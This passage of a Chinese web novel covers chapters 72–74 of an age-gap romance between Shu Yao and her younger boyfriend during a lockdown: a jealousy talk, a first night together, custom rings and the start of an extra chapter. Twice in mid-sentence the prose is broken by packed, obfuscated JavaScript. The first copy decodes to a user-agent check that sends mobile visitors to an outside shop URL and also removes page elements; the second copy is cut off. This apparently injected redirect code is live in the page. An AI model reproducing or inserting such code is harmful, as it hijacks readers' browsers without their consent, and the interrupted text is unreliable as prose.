等忙完这一通,天色都已经暗下来了。 客厅里没开灯,朦昧的一片幽蓝色成为主色调。男友坐在一张单人沙发上,只有笔记本电脑因画面不停地变化而发出闪动的光芒。 舒瑶还挺奇怪沈曜没来提醒她休息一会儿。 如果是平时,她连续工作太久,他一定会在门口晃一下,给她比个手势或者口头提醒一句让她休息片刻。 舒瑶抬起视线看向客厅,只见男朋友正拿后脑勺对着她。 笔记本电脑里不再是与他学业有关的东西,而是一款射击战斗游戏,他正在暴力厮杀中。 “突突突——砰!砰!” 狙击枪声不断从他笔记本电脑里若有似无地发出来,幸亏声音开得轻,否则舒瑶觉得她的心脏多少都会受到些影响。 自从封禁以后,沈曜过来陪她,她还是第一次见他打这个暴力枪击游戏。 这是怎么了?遇见不开心的事了? 她记得她和上司连视频之前,他还没打游戏啊? 舒瑶悄悄观察了他一会儿。 男友很专注,挺拔的肩背绷着,握住鼠标的右手手腕来回晃动,修长手指灵活地点动着鼠标键。 估计他一局应该没那么快打完,舒瑶索性蹑手蹑脚地找出换洗衣物,走进卫生间去快速冲了个澡。 下午她一直闷头在自己卧室里工作,忘记开空调了。 六月的海城已经很热,她身上出了一层细汗,黏糊糊的很不舒服。 等她洗完澡出来,发现小男友还在打游戏。 从沈曜脑袋后面望去,他的枪法很准,换句现在的网络流行语来说,就是“一枪一个小朋友”。 小样儿,游戏打得这么好。她和他一起住了快一个月,没看他怎么练过,枪法居然这么准? 他还有什么不会的吗? 舒瑶转了转眼珠,认真在心里细数自家男朋友的优点:长得帅、身材好、学习好、会做饭、爱干净、细心体贴,最重要的一点是——对她专一又长情。 老天爷……不愧是她空窗多年等来的男朋友,不总结不知道,一总结优点差点儿多得数不过来。 这不是理想情人么。这简直就是上天的恩赐啊! 她上辈子是不是供奉过月老,才能找到一个这么好的男朋友?! 约莫等了三、四分钟,沈曜那边的“战役”结束了。他放下耳机,却没回头去看舒瑶在哪儿、正在做什么。 舒瑶站在他身后,见他默然无声地坐着,一动不动,似乎是在发呆。 舒瑶怕突然出声吓着他,于是转身摁开了墙壁上顶灯的开关。 霎时,客厅里一片明亮。 “今天我第一次看你打游戏,怎么了?”舒瑶走过去,弯下腰,轻柔地圈住他的脖子。 打这么暴力的游戏,估计是为了抒发心里的压力或不愉快,舒瑶想。 “你忙完了?”沈曜没回答舒瑶的疑问,只是象征性地搂了一下她的腰。 “忙完了,一出来就看见你在打游戏。”舒瑶捏了捏他颇有弹性的脸颊,语气里并无责怪,反而有几丝好奇。 “我去做饭。”沈曜说着,抬头望了一眼窗外,天穹是一整片暗淡的深蓝色,“都这个点儿了,晚上我煮个面吧?” 墙上的挂钟显示是七点二十分。他担心她饿着,煮面比较快。 “好,你是大厨,你说了算。”舒瑶说。 沈曜起身,稍微转动了一下脖颈和手脚,去厨房翻冰箱里的食材。 封禁将近一个月,华馨苑的快递配送已然有了章法。 他知道舒瑶爱吃海鲜,昨天他从买菜网上订了一些冰鲜虾仁、章鱼须、蛤蜊肉和扇贝。 今早收到时打开来查看,冷气袭面,冰袋没怎么融化,食材保持的很新鲜。 “一会儿给你做海鲜面?”沈曜站在冰箱的冷藏室前,他个子高,得弓着腰低头才能翻找里面的食材。 他的声音听上去比以往要低沉一些。 不知怎么的,舒瑶从他的后脑勺瞧出几分小男友不太开心的信号。 等吃饭的时候问问他吧,她想。 “好啊。你做什么,我就吃什么。我不挑。”舒瑶回道。 时间已经不早,舒瑶不忍心看他一个人忙碌,于是就帮他打下手。 沈曜在灶台上拆海鲜的包装,舒瑶就在一旁帮忙摘洗了一把青菜。 等到沈曜将几样海鲜洗完,用厨房纸巾将水汽吸干以后,回头一看,才发现舒瑶连葱姜蒜都已经洗好切好了。 沈曜眉毛一挑,盯着舒瑶的嘴唇看了好半晌,眼神发直。他身子动了动,却不知在犹豫什么,等了几秒又转过去了。 以舒瑶对他的了解,他刚才应该是想吻自己。但他隐忍着,最终没那么做。 这不太像他的风格。 沈曜打开燃气开关,将火苗调成中小火后,往炒锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062402|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里倒了些花生油。 等油开始冒着细小泡泡的时候,他回头看了眼舒瑶,“你刚才洗过澡了?” “对呀。”舒瑶将切好的葱姜蒜放入一个花形的透明调料盘里。 “你去沙发上看电视吧,我先把海鲜炒一下,你在这儿会沾到油烟味。” “好,那就辛苦你咯。”舒瑶搂了一下他劲瘦的腰身,转身去沙发上休息了。 沈曜摇摇头,将葱姜蒜先倒入锅里爆香,然后才将几样冲洗干净、沥干水份的海鲜倒入热油中爆炒颠腾。 一股馥郁的海鲜香味从厨房里隐隐飘散开,坐在沙发上的舒瑶抽了抽鼻子,肚子顿时“咕噜噜”的附和起那道香味来。 太香了。男朋友和她同居的这一个月,厨艺肉眼可见地精进了。 说实话,能在下班后吃到一碗恋人做得热汤面,哪怕只是一碗阳春面,她都觉得无比满足。 但她清楚的知道,今晚的晚餐绝不会是一碗只有葱花的白水煮面。 当那碗飘着澄亮汤汁、鲜香四溢、铺满海鲜并沾着葱花的面条被端到面前时,舒瑶清晰地听见了自己吞咽口水的声音。 “哇!好香啊!吃了这碗面,我觉得我可以继续战斗,连续工作十小时!”舒瑶忍不住握了握拳头,眼睛亮晶晶的,满脸的迫不及待,一副馋猫样儿。 沈曜眼里噙笑,神情温润,叮嘱她说:“慢点吃,刚出锅,很烫。” 暖黄色的灯光里,他笑得很温柔。明明和平时没两样,可舒瑶就是敏感地察觉他有些低落。 青年眉眼低垂,吃面的动作不似以往那般利索,反而轻缓地用筷子搅动着面条。 搅了几下,他才往嘴里慢吞吞地送一口。 相比于之前,他今晚的吃相着实斯文。 这就很不对劲! 舒瑶一边吃面,一边抬眸探看他的表情。却见他一直半垂眼帘,显得心事重重。 她直觉他心里装着的,不是一件小事。 舒瑶不想在用餐时找他刨根问底,那会影响两人的食欲。 所以她干脆专心干饭,等吃完饭,再找他促膝长谈也不迟。 - 等舒瑶将碗里的面和菜全部吃完,她才慢悠悠地放下见了底的瓷碗。 沈曜对她的食量把握精准,除了头三天以外,后来每次他做的饭量,都能让舒瑶吃到八成饱,不浪费也不会吃撑。 当舒瑶坐在椅子上发呆了几分钟,沈曜才堪堪吃完面。 舒瑶给他递了两颗益生菌软糖,问道:“你今天怎么了?有心事吗?” 沈曜摇了摇头,“没事。”说完,他觉得有点敷衍,又解释道:“有个案子的材料整理起来有些麻烦。” 两人坐着随便聊了会儿天,等待吃饱饭的那阵疏懒劲儿过去。 舒瑶信以为真,安抚他几句,就起身去收拾碗筷。他们俩刚开始住一起时就说好的,谁做饭,就换另一人洗碗。 家务应该互相分担,而不是一味地堆积在一个人身上,否则等时间长了,热恋期的新鲜感褪去,再好的感情都会落下埋怨,成为引发争吵的导火线。 一旦为那些鸡零狗碎争吵的次数多了,感情就会被逐渐消磨殆尽。 共同生活的美好意义在于有人能为你分担一半的生活劳作,让100%缩减成50%;而不是可着一个人蹉跎,使他或她的家务活儿变成100%乘以2,翻了一倍,还美其名曰“爱”。 那不是爱,那是以爱为名的剥削。 沈曜帮着舒瑶将碗筷端进厨房放进水槽。他在离开厨房转身之际,闻到自己的棉制T恤上有股夹着海鲜腥气的油烟味。他皱起眉头,他受不了身上一直沾着这股味道。 于是他进入次卧,拿出干净的换洗衣物去卫生间洗澡了。 舒瑶打游戏的瘾上来了,她将收在柜子里才没吃灰的wii游戏机翻出来,本想等沈曜洗完澡出来就一起玩几局赛车。 哪知左等右等,都没等到他出来。 舒瑶掀眼瞥了眼挂钟,沈曜已经在里面冲洗快二十分钟了,比平时的时间几乎多出一倍。 为什么? 舒瑶想到某种难以启齿的可能性,倏忽间,脸颊漫上绯红。 她不自在的调整了一下坐姿,想忽视某些想象,然而效果不佳。 72.金屋藏夫(五) 脸上热烫烫的,热度一层层地从心湖扩散至四肢百骸,烧得她有点眩晕。 这温度一时半会儿的也下不去。 舒瑶时不时地开始瞟卫生间的门,却在看见门打开的那一刻,心情遽然平静下来。 她觉得自己刚才是想多了。 因为沈曜的眼神黯淡无光,神情也非常消沉。 这绝对不会是任何男生躲在卫生间悄悄“作案”的事后现场。 舒瑶将沈曜今天的情绪状态从早到晚在脑海里顺了一遍,发现他的兴致不佳是从她结束了一天的工作后才开始的。 她下午都干了些什么?和哪些人通过电话、连过视频? 舒瑶是个敏锐的人,她很快找到了症结所在。 沈曜应该不认识梁毅博,但是与这位男士姓名连在一起的“世纪婚纱”,沈曜对它的印象说不定比自己更深刻。 看着帅帅的男朋友惫懒的用毛巾擦着半湿的头发,舒瑶站起,主动走到他面前,牵起他的手一起坐到沙发上。 “你刚才没对我说真话。”舒瑶感知到他低落的心情,微微侧过身体面对他,温声说:“现在告诉我吧,为什么不开心?” 沈曜抿了抿嘴唇,没开口。他担心说了实话,会被年长的女友嘲笑幼稚。因此舒瑶问了他两次不高兴的原因,他第一次用工作搪塞,这次则干脆选择缄口不语。 舒瑶看着他闷闷不乐的样子,拉起他的手左右晃了晃,略带撒娇地哄他,“说说嘛。你不开心,我也会不开心的。” 沈曜望着她的眼神闪了闪,女强人一旦撒起娇来,杀伤力极强。 沈曜原本坚固的心念瞬时就有些塌陷。 舒瑶瞄了瞄他闪烁着小确幸的琥珀色瞳仁,凑过去在他的下嘴唇上轻轻咬了一口,温热微潮的气息喷在他颊边,“快说,不然以后都不让你亲了。”她声调放得更软,像是一只沉溺于温情的猫儿。 小男友的“酷哥”气质绷不住了,脸颊和耳朵缓缓浮上粉色,“没什么,就是有点吃醋。”说完,他窥探起她的脸色。 他真担心她这位平日爽利磊落的年长女友会评价一句“幼稚”,哪怕是开玩笑,他觉得此时敏感的自己也会被打击到。 舒瑶挑眉,语调上扬,“世纪婚纱的梁毅博?” 小男友点点头,忆起那个成熟英俊的男人身影,他的表情如临大敌。 舒瑶水亮的杏眸机灵地转动,在他脸上流连,“高二时以为我结婚了的心理阴影?” 男友的脸越来越红,再次点头,“我见过那男人,他是你的理想型。而且这次还指定找你合作……” 沈曜说着说着,将落在她脸上的视线移开,声音也渐渐低下去,怆然若失。 在所有的条件都和她般配的年长男人面前,他毫无竞争力,因此极度缺乏安全感。 那个闷热的夏天,得知她结婚的消息在他心里凿出了很深的伤。在那一瞬间,他觉得整个世界都褪色了,轰然倒塌成一片黑灰色的废墟。 现在回忆当日当时,他的心还会隐隐作痛。 今天当他听到那个公司的名字,深埋记忆中的魔咒被启动,将他心底的伤再次凿裂,钝痛阵阵袭来,随着时间的流逝越发汹涌。 喜欢的人没法追求,连表白都不敢,还得眼睁睁看着她和别人奔向幸福。 可想而知当年的沈曜心里得有多痛苦;尤其是初恋,那般炽热、那般挚诚,将自己最大的热情毫无保留地拱手奉送,仿若信徒的无私献祭。 《人间失格》中曾写到:倘若没有过度的欢喜,便不会有极度的悲伤。 爱情不正是如此吗? 喜欢的越深,到结束时就会悲伤的越深。 舒瑶是个共情能力很强的人,沈曜和她提起的不多,可她已经感受到了他的胆怯、他的心伤。当时他以为自己结婚时,他该有多么失落、多么绝望啊。 舒瑶的眼眶泛起淡淡的湿热,她给了沈曜一个用力的拥抱,而后松开他,紧握他的手让他微侧过身面对自己,说:“看着我。” 沈曜依言看向她,眼神里有探究,更有担忧。 舒瑶望着他的眼神写满柔情,给予他承诺:“我喜欢你,想和你在一起,是因为我感受到你的真挚,你让我觉得可靠,很有安全感。年龄一开始的确是个阻碍,但是那个因素在我这儿已经是过去式了。” 沈曜的呼吸随着她坚定而温柔的话语渐渐急促,胸膛起伏地越来越剧烈。 舒瑶接着说:“我是个只会往前看的人,所以过去的就是过去了,我不会允许它在我们的感情里成为隐患。我选择和你在一起的时候,就意味着我心里所有的犹豫都已经被剔除了。” 沈曜深深注视她,他的目光在明润的灯光下有点迷离,汹涌的爱意将他的眼睛染红,慢慢浮起一种激动的、极力克制却压抑不住的侵略性。 舒瑶却没发现他瞳仁里饱含的深意,只觉着握在她手里的那双男人的手越发热烫,烫得几乎要灼伤她的肌肤。 而她还在问他:“那么,你呢?你选择让这个隐患仍然深藏于心,成为难以拨除的暗刺,还是与我一起牵着手坚定地往前走……” 舒瑶的话还没说完,但她被迫进行不下去了。 唇上蓦然一热,他灼热的双唇略显急切地覆上来。两人的嘴唇亲密相接,吻得热切。 过了一会儿,四片唇瓣才气喘吁吁地分开。 “和你在一起,我就没想过要退缩。担心也好、胆怯也好,这些负面情绪会困扰我,但从来就阻止不了我。谢谢你没嫌我幼稚。我心里很意外,也很感动。”沈曜用力地将舒瑶圈进怀里,低润的轻喃里有点熟悉的颤抖。 男友埋在她颈窝的脑袋轻柔地蹭了蹭,几撮头发刮过她的脖颈,弄得她痒的缩起脖子。 “知道那年是误会、你还是单身后,我高兴的都失眠了。那时我就没想过你和别的男人在一起,你如果和别人一起,我一定会疯。”沈曜轻喘着,语气里充满占有欲。 舒瑶笑着朝天翻了个白眼。狗子也许都护食? “你怕不怕我?”沈曜箍在她腰上的手很温暖,当然,力气也很大。 “才不怕你。”舒瑶的肋骨都被他勒疼了,却也纵容着他的拥抱,甜腻地笑道:“爱情本来就是有排他性的,不过你吃起醋来居然没发飙,这倒是让我有些意外。我刚才还寻思万一你发飙,我得拿什么玩意儿哄你呢。” “好啊你……”沈曜急得眼睛都红了,“我没那么幼稚,才不会那么容易情绪失控。”说着,他再次低头衔住那作怪的两瓣柔软,仿佛那样就能阻止她不再说出逗弄自己的话语。 空气里的甜蜜弥漫开来,伴随热情相连的唇齿和不断贴近的身体,轻轻的喘息在安静的室内使这份升温的爱情变得旖旎。 舒瑶被亲得头晕目眩,恍惚之间,感觉身体倏然被拉高,而后她的男朋友一手抄着她的膝后,一手将她拦腰抱起,给她来了个公主抱。 “你……”舒瑶气喘吁吁,她觉得刚才漫长的热吻让她有些缺氧,她的手无力地搭上沈曜的后颈,“你这是……” 沈曜的眼神幽深,像是一片翻卷起旋涡的大海,想要将她吞噬。 他抱着她走向她的卧室,却在她卧室门口堪堪停住脚步。 他呼吸粗沉,像在做最后的隐忍和挣扎,动情的声音暗哑又撩人,“我忍不住了。今晚……可以吗?” 舒瑶咬了咬下唇,隔了几秒,下定决心,轻轻对他点了一下头。 这份爱情是她自己选择的,既然她决定了,就不会被杂七杂八的顾虑掣肘,既困扰自己又束缚彼此,显得欲拒还迎,太过于矫情。 她们在一起住了快一个月,生活中该有的磨合都有了,接下来的发展可以说是水到渠成。 谁爱柏拉图就爱去吧。望着男朋友憋得通红的眼睛,感受他汹涌无声的热情,舒瑶心里想的是——柏拉图不了一点儿。 晚风顺着窗户的缝隙钻进来,有意无意地撩拨着半透明的窗纱。 夜空中明月高悬,与闪烁的星河交相呼应。皎皎月华和漫天星光在幽蓝色的天际彼此照耀,阒然融合。 若有似无的虫鸣声从远处传来,听着有点像蝉鸣。 这么早就有蝉鸣了吗?时间好像不对啊…… 据说夜晚的蝉鸣是雄蝉为了吸引雌蝉来□□而发出的。 室内没有开灯,仅有一点儿光亮从纱帘外透进来,悄然笼罩着一对情浓之时的爱侣。 一切的发生都是那么顺畅自然,但持续时间和激烈程度超过了她的想象。 男友的喘声渐粗,诱着她一同沉醉,灼热的呼吸互相交融勾缠。 生疏的亲密在爱意泛滥中失控,将两人缓缓推入欢愉的殿堂。 舒瑶觉得自己一会儿被抛进水里,像在温泉里悠然地徜徉;一会儿又被猛地撞进火山底,滚烫的熔岩恣意侵略着她的身心。 她被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我……我没感冒。”在有亲密行为的第二天接到闺蜜的电话,不知为什么,舒瑶有点心虚。“我我挺好的。你别担心。” 而作为多年的亲闺蜜,林娓娓从舒瑶的只言片语和略微滞涩的语气中发现了端倪,“你们昨晚该不会……嘿嘿嘿嘿……” 有时候有个八卦又敏锐的闺蜜真是麻烦啊……感觉什么秘密都瞒不住。 舒瑶立刻违心地否认,“没有!你想多了!” 林娓娓一阵桀桀怪笑,“哎呦~~都是成年男女,怕什么呀。你们感情又那么好,合住快一个月,不发生点儿什么才奇怪吧。真是那样的话,要么就是你生理有问题,要么就是他生理有问题。” 舒瑶被她嘲得面红心热,一时之间哑口无言。 “怎么样怎么样?他那方面没问题吧?”林娓娓继续嘿嘿笑,笑得舒瑶差点弄掉手机。 “你你你、你瞎说什么呢。”舒瑶羞臊的不想明说,但架不住好闺蜜的逗趣,只好转了个委婉说辞,嗫嚅道:“我……我最近大概都只想唱一首歌。” 林娓娓兴致颇高,一听有戏,立马坐直身体,语调扬得快飞上天,“什么歌?快说快说。” 舒瑶轻喃:“夕阳红。” 林娓娓听懂暗示,惊叹道:“哇啊!这么龙精虎猛。小女我好生羡慕~~” 这时,林娓娓手机里传来一个性感又带点沙哑的年轻男声,由远及近,“……什么夕阳红?” 舒瑶的声音也跟着离听筒远了点,“你睡醒了?” “嗯……还没。”手机那头的男声慵懒,带着事后的餍足和意犹未尽,尾音拖得有些长,“姐姐,你知不知道男生早上都会有点生理反应?” 舒瑶一听他叫姐姐,整个人都红透了,“叫……叫什么姐姐,以后都不、不许乱叫。” 想起昨晚,她面红耳赤,恨不得将头埋进被子里装鸵鸟。 “别唱‘夕阳红’了。”男人有点醒过来了,语气里噙着点儿调情的笑意,“再陪我唱首‘日不落’吧。” 林娓娓:“……” 手机里随继传来一阵窸窸窣窣的暧昧声音,像是被子摩擦着床单。 “哎哎哎……你别闹了……”闺蜜的声音里透出玩闹的慌张。 不一会儿听筒里又传来湿润闷哼的接吻声。 “嘟——” 林娓娓面无表情的挂了电话。作为称职的好闺蜜,她很懂分寸。 但是舒瑶这小妞现在的恋情这么幸福,她都情不自禁的羡慕了呢~ 73.双生火焰 下午的太阳热力十足,穿透窗帘肆意散播热意。 相拥而眠的两人在太阳不遗余力的烘烤下,终于从美梦中醒来。 舒瑶的脸颊贴着男友温烫的颈窝,微微的黏意逐渐唤醒她的意识。 沈曜还在睡着,侧压在枕头上的脸颊嘟起一小块,放松的神态平添两分稚气,惹人怜爱。 舒瑶仰头在他弹性十足的脸上亲了一口,才轻手蹑脚地起身,身体的不舒服使她极轻的“嘶”了一声 她赶忙噤声,抿着唇回头看去,还好,没吵醒那位始作俑者。 舒瑶蹲着身体弯腰去捡地上散乱的衣物,疼痛再度传遍全身,令她的动作有几秒钟的滞涩。 她在心里嘀咕了一句“坏蛋”,然后当她捡起衣物再次回头时,发现那个“坏蛋”醒了。 舒瑶小声“哼”了一声,“你醒了?” “嗯。”青年窝在被子里,看她的视线直白的热情,带着十足的欣然和某种熟悉的欲念。 “刚才是不是在装睡?”舒瑶似笑非笑地揭穿了他的小心思。 “嘿嘿。”沈曜露出只有两人在一起时才有的一点儿憨态。 昨晚彻底得到了她,青年笑得眼睛都眯成一条缝了。 他撑着手臂坐起来,被子从肌理流畅精健的胸膛滑落,“你身体不舒服就少动。今天的饭都我来做。” 他的嗓音比往常要低沉沙哑一些,不再那么清朗,但是很性感。 舒瑶盯着他线条明晰的胸肌和胳膊看了一会儿,费了点力气才挪开视线。 她的脸又热了,难得娇嗔道:“就得你来做。我今天要当甩手掌柜。” 说完,她套了件就近拾起的T恤,发现那T恤比自己在家穿的大,恰好盖住她的下面。 原来拿成了他的衣服,难怪那么长。 她侧头用余光扫了男朋友一眼,见他坐在床上,抱着被子无声地直笑。 舒瑶有些害羞,转头不再看他,慢慢走出卧室去卫生间洗漱。 沈曜穿好衣服,将弄脏的床单和被套换掉,之后去厨房煮了些水饺填饱两人饥肠辘辘的肚子。 舒瑶吃完饭又和没了骨头似的,软绵绵地窝在沙发里补觉。 沈曜将洗完的床单和被套晾晒好,走到睡得香甜的女朋友旁边坐下,为她在腹部搭了一条薄薄的毛巾被。 窗外阳光正好,天空碧蓝如洗,屋里的他们却静悄悄的守着彼此。 他很喜欢这样两人腻在一起的下午,即便什么也不说、什么也不做,单单就是呆在同一个房间里,就能让他的心灵感到很充实。 今天凌晨的时候,舒瑶断断续续地问过他,为什么能喜欢自己那么久。可那时候两人正是浓情蜜意时,他的理智全无,根本顾不上回答她。 现在闲下来,他才在心里默默回答她的疑问。 他的少年时期很孤独,在那段错乱又孤独的低潮时期,他遇见了她。她给予自己许多温暖,那些温暖陪他走过年少时的孤寂,像是一盏不会熄灭的明灯,成就了他少年时期最难忘的梦。 他是个很执拗的人,尤其是在情感上。所以,这辈子她和他在一起了,他就再也不会放手。 - 舒瑶再醒来时,外面已是一片紫色的霞光。夕阳的余晖洒进来,热力已消散,室内的温度正合适。 这一觉补的很舒服,她撑了个懒腰,将身体完全舒展开。 不见沈曜,她扒着沙发靠背坐起,环视一圈屋内。 次卧的门虚掩着,隐约有键盘的敲击声从那里传来。 听着那些声音,舒瑶估计沈曜在打字,也许是帮他师兄的律所在整理资料吧。 暂时先不去打扰他。 舒瑶拿起茶几上的手机,先翻看工作有关的消息。 在几个群消息下面,她发现了梁毅博给她发了个笑脸,点进去一看,时间是今天中午十二点半。 是午休时间…… 舒瑶给他回了一条消息。 梁毅博的消息隔了几分钟便回过来。两人寒暄几句,就开始聊后续会合作的婚展项目。 沈曜在她和梁毅博通话时,出了房间,在客厅里装模作样地晃了一圈又进去了。 舒瑶翘了一下嘴角,估计他是想在自己面前刷一下存在感,但好在他很尊重她,并没出声打扰她工作。 会默默吃醋又懂得收敛的小男友,怪惹人疼的。 舒瑶忙完工作想去找他,可刚靠近次卧的门口,就听见男友在和谁通话,而通话内容在他们被封禁的这一个月,是她听见过好多次的重复说辞了。 “我有女朋友了,嗯,对,抱歉……”精简敷衍的公式化回答,和对她说话的语气截然相反。 不住在一起她还不知道,原来酷哥的追求者也不比她想象中的少。 经过昨晚,两人的感情升华到新高度。舒瑶发现自己对这种事,有些吃醋了。 不喜欢自己的男朋友老被别的人惦记。即使他果断拒绝,可她还是觉得心里有点膈应。 舒瑶皱起眉头,她不会去找男朋友闹别扭撒气,因为这事儿原也由不得他自己。 于是她拿出一张白纸,用铅笔在上面涂涂画画纾解心里的郁闷。 不一会儿,她发现自己画了个Q版的男生头像。那头像顶着一头蓬松清爽的短发,挑着眉头,眼睛炯炯有神,一脸的嚣张欠揍。 画的是谁,不言而喻。 舒瑶伸出手指,在那欠兮兮的男生脸上来回戳了戳,小声的嘀嘀咕咕,“都长得这么拽了,怎么喜欢你的还这么多。” 戳了一会儿,犹自不过瘾,她又在那个头像上写了两个大大的字:勿扰。 这下注明了,看以后谁还来招惹你。哼╭(╯^╰)╮ 恋爱使人智商狂掉,这话一点儿不假。 舒瑶一通折腾完,才觉出自己原来也可以这么小心眼儿和幼稚。 “干嘛呢?”夹着笑意的清润男声忽然在耳旁响起。 干了坏事被人当场抓包,舒瑶吓得手一颤,铅笔滑到了茶几上,滚了几下,被一只星黛露的马克杯给挡住了。 沈曜眯眼打量了一下满脸写着心虚、眼睛不停眨动的女朋友,将视线移向她手边的那幅铅笔画。 看了几秒,他猜到什么,澄亮的瞳仁转了转,摇摇头,勾唇笑起来,脸上是得意又宠溺的表情,“原来我女朋友也会吃醋。” “谁吃醋了。”舒瑶耍赖。 沈曜长腿一迈,卡在她身后坐下,将她拢进怀里圈住,去捡那只差点滚到地上的铅笔,“两个字怎么够呢,我给你再加两个。” 舒瑶的眼睛亮晶晶,“加什么?” 沈曜一手搂住她,低头亲了亲她红润的唇瓣,另一手在那个头像上又加了两个字:有主。 将笔一扔,他挑着眉头、嘴角微勾,睨着她,“有主,勿扰。” 这样够了吧? 舒瑶受不了他这副又欠又萌的拽样,反身扑过去对着他的脸一顿猛捏。一偿多年心愿。 两人笑闹着抱成一团,最后在鎏金般的夕阳里安静下来,接了个温情又绵长的吻。 “我好爱你。”一吻结束,他叼着她的唇瓣低喃。 - 封禁结束后,佟萱脸红红地和舒瑶提出要搬走,因为学校加华馨苑封禁时间有落差,她从学校出来后就暂时搬到了齐君那里住。 结果住着住着,发现两人不想再分开了,干脆就和舒瑶提出她要搬出去。 沈曜一听,正合他意。 他打电话把自己和舒瑶在一起的事和沈志鹏说了一声,沈志鹏还挺内疚。 当年他随口一句模糊不清的话,害的儿子伤心了好久,现在知道他们有情人终成眷属,也替他们高兴。 继母徐洛得知后,还给两人寄了一对水晶大雁的小摆件当祝福礼物。 佟萱刚走,沈曜就推着行李箱正式入住了舒瑶的小房子,顺便将他这几年在律所的收入存入一张银行卡里交给舒瑶。 舒瑶原先想着他实习能有多少钱,随手就收了,就当交个水电费。但后来一查才知道,这小子从高中到现在居然存了三十万。 这里面不外乎有他爸的人脉给他带来的好处,毕竟他从高中开始就在沈志鹏的律所里见世面了。 但对于一个才二十一岁还是学生的人来说,能有三十万的流动资金在手,真是一笔巨款。 舒瑶着实被惊到了,盯着那串数字,她眼睛瞪得溜圆,问他:“你不是实习吗?怎么存了这么多钱?!” 沈曜忍着骄傲才没让嘴角翘起来,淡定的说:“我参与的都是企业经济纠纷案件,小的几百万,大的几千万甚至上亿。一个案件结束,我们几个后援总能得个几千甚至几万的,参与多了钱就攒起来了。” 他自从上大学以后,学费和生活费都是自己付的。沈志鹏给他的钱,他都用来买基金和股票了。 当然,这三十万里还有几万 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梁毅博问身旁正在清点和复查展览婚纱的舒瑶,“那是不是你部门的实习生?他怎么不进来?” 舒瑶顺着他的眼光望去,讶然说道:“哎,他这么早就来了。” 她莞尔,补充道:“不止是实习生,他还是我男朋友。” 梁毅博得知后,惊讶的同时暗自惋惜,但也表示祝福。 当后来他看见这对高颜值的小情侣穿着同款“有主,勿扰”的T恤出现在他面前时,他脑中灵光一闪,提出要为两人拍摄一组以“姐狗”为主题的情侣照,并把T恤中的Q版人物头像换成一只可爱的Q版牧羊犬呼应主题。 在商言商,如果成片效果理想,他的条件是两人要允许他将他们的情侣照放在店里作宣传照。 舒瑶觉得没什么,就同意了。能和舒瑶拍情侣照,沈曜求之不得,当然也不会拒绝。 谁知照片展示后,“姐狗”情侣照的订单竟然爆了,为世纪婚纱的婚纱摄影直接贡献了一份可喜的市场份额。 作为酬谢,世纪婚纱送了一对旗下珠宝店的“发之钻”情侣定制戒指给这对恋人。 “发之钻”,顾名思义,是用两人收集起来的头发合成的钻石。 两人觉得这样的戒指意义非凡,欣然接受了这份酬劳。 和设计师预订好时间,舒瑶与沈曜一同去了那家珠宝店。 设计师是个气质清冷的青年人,姓裴。 当他想询问是否要在戒指内刻上两人的名字缩写时,眼神一亮,直叹两人能成为情侣真是宿命缘分。 “你们二位的名字缩写是一样的,看来‘缘分天定’这话一点儿都不假。” 被他一提,舒瑶才意识到,她和沈曜名字的拼音缩写一模一样,只是声调不同。 沈曜在桌子底下悄悄捏了捏她的手,眸中深情款款。 “你早就意识到了?”舒瑶回捏了他一下,眼睛含笑。 “嗯。”沈曜莞尔,取下左手中指那枚一直戴的银戒指,给她看戒指内侧,上面刻着“SHU YAO”,“刻它的时候我发现的,所以后来刻了你的全名。” 他的眼神闪亮专注,眼里只有她的身影。 舒瑶情难自禁,当着设计师的面在男友脸上亲了一下。“我好喜欢你啊。”她极轻地凑在他耳边说。 两人在一起几个月了,沈曜已经不像刚开始恋爱时那么容易脸红。可是被她这么示爱,他的耳廓仍旧不争气地变得绯红。 两人的名字语调一扬一抑,仿佛预示着两人之间的开始与完满。起先如风筝般缥缈入云,而后又如航班安全抵达落定。 SY & SY,象征他们因相爱而交缠的命运。 更巧合的是,SYSY也是“一生一世”的拼音首字母缩写。 于是,这两对相同的字母被浓缩聚化,镌刻在一对铂金对戒之上。 每一枚戒指的中间是代表“无穷大”的∞镂空符号,符号内里嵌入两人头发所合成的闪闪细钻,代表他们甘愿束缚于彼此。 对戒完成后,被小心地摆放在黑丝绒布上,在灯光的映照衬托下,美丽夺目,熠熠生辉。 正如一对不愿分离的双生火焰,各自闪亮,彼此成就璀璨。 (正文完) 74.番外 01 宣布男友 九月的第三个星期六,是舒瑶爷爷的生日。 舒瑶的爷爷奶奶一共生了五个孩子,三个儿子,两个女儿。舒爸爸在家排行第三,但他忙于事业,所以结婚晚,生舒瑶时已经快三十岁了。 经年累月,舒家开枝散叶,到今年舒瑶爷爷的生日聚会时,舒家已经是四世同堂。家里坐不下那么多人,所以他们在外面订了个餐厅,一大家子人分了三桌才坐得下。 两岁的小侄子走得歪歪扭扭、蹦蹦跳跳,害得舒瑶的二嫂跟在后面心惊肉跳,生怕他一不小心磕在桌角。 舒瑶的爷爷奶奶看家里的“老大难”舒瑶捧着一杯橙汁喝得香甜,不由地开始老生常谈,“瑶瑶啊,你看看,咱们舒家第三代里,除了你以外都有对象了。连你最小的堂弟,他还比你三岁呢,也有女朋友了。你什么时候能找着对象?” 每次聚会,提及这件事,舒瑶都一副笑眯眯的模样,敷衍着说:“我正在找啊,找不到合适的,那结婚了日子过得苦哈哈的,成天找你们哭。你们也不乐意呀。” 久而久之,爷爷奶奶和伯伯、叔叔、姑姑们也就麻木了。见了面就公式化的催一下,从来不见任何实质性的成效。 “哎呀差不多就得了,女孩子太挑,挑到后面就嫁不出去了。”舒瑶的大伯挺着啤酒肚,感叹了一句。 他以为舒瑶会和以往一样,随口不咸不淡地回他一句“知道了大伯,我自己也挺急的。” 